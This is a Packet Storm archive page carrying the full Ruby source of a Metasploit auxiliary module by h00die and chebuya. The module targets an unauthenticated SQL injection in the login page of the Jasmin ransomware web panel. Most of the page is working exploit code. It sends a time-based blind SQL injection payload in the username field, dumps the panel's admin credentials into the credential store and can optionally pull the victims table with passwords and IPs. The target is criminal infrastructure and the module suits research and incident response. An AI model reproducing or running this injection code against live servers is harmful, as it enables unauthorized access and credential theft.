what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Jasmin Ransomware Web Server Unauthenticated SQL Injection

Jasmin Ransomware Web Server Unauthenticated SQL Injection
Posted Aug 31, 2024
Authored by h00die, chebuya | Site metasploit.com

The Jasmin Ransomware web server contains an unauthenticated SQL injection vulnerability within the login functionality. As of April 15, 2024 this was still unpatched, so all versions are vulnerable. The last patch was in 2021, so it will likely not ever be patched. Retrieving the victims data may take a long amount of time. It is much quicker to get the logins, then just login to the site.

tags | exploit, web, sql injection
SHA-256 | f7e0d4c8db68c72a070412c58aed2d661337854ce5aff7fbe8948bd051ac28cb

Jasmin Ransomware Web Server Unauthenticated SQL Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Jasmin Ransomware Web Server Unauthenticated SQL Injection',
'Description' => %q{
The Jasmin Ransomware web server contains an unauthenticated SQL injection vulnerability
within the login functionality. As of April 15, 2024 this was still unpatched, so all
versions are vulnerable. The last patch was in 2021, so it will likely not ever be patched.

Retrieving the victim's data may take a long amount of time. It is much quicker to
get the logins, then just login to the site.
},
'References' => [
['URL', 'https://github.com/chebuya/CVE-2024-30851-jasmin-ransomware-path-traversal-poc'],
['URL', 'https://github.com/codesiddhant/Jasmin-Ransomware']
],
'Author' => [
'chebuya', # discovery, PoC
'h00die', # metasploit module
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2023-04-08',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The relative URI of the Jasmin Ransomware webserver', '/']),
OptBool.new('VICTIMS', [false, 'Retrieve data on the victims', false]),
OptInt.new('VICTIMLIMIT', [false, 'Number of victims data to pull']),
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path)
)
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

return Exploit::CheckCode::Detected('Jasmin Login page detected') if res.body.include? '<title>Jasmin Dashboard</title>'

Exploit::CheckCode::Safe("#{peer} - Jasmin login page not found")
end

def run
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
check_char = Rex::Text.rand_text_alpha_lower(5)
res = send_request_cgi({
'keep_cookies' => true,
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'checklogin.php'),
'vars_post' => {
'username' => "#{Rex::Text.rand_text_alpha_lower(1)}' AND (SELECT 1 FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha_lower(1)}) AND '#{check_char}'='#{check_char}",
'password' => '',
'service' => 'login'
}
})
fail_with(Failure::Unreachable, 'Connection failed') unless res
end

fail_with(Failure::NotVulnerable, "#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.") unless @sqli.test_vulnerable

columns = ['admin', 'creds']
vprint_status('Dumping login table')
data = @sqli.dump_table_fields('master', columns, '')
table = Rex::Text::Table.new('Header' => 'Logins', 'Indent' => 1, 'Columns' => columns)
data.each do |user|
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user[0],
private_type: :password,
private_data: user[1],
service_name: 'Jasmin Webpanel',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << user
end
print_good('Dumped table contents:')
print_line(table.to_s)

return unless datastore['VICTIMS']

vprint_status('Dumping victim table')
columns = ['machine_name', 'computer_user', 'ip', 'systemid', 'password']
if datastore['VICTIMLIMIT'].nil?
data = @sqli.dump_table_fields('victims', columns, '')
else
data = @sqli.dump_table_fields('victims', columns, '', datastore['VICTIMLIMIT'])
end
table = Rex::Text::Table.new('Header' => 'Victims', 'Indent' => 1, 'Columns' => columns)
data.each do |victim|
table << victim
end
print_good('Dumped table contents:')
print_line(table.to_s)
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close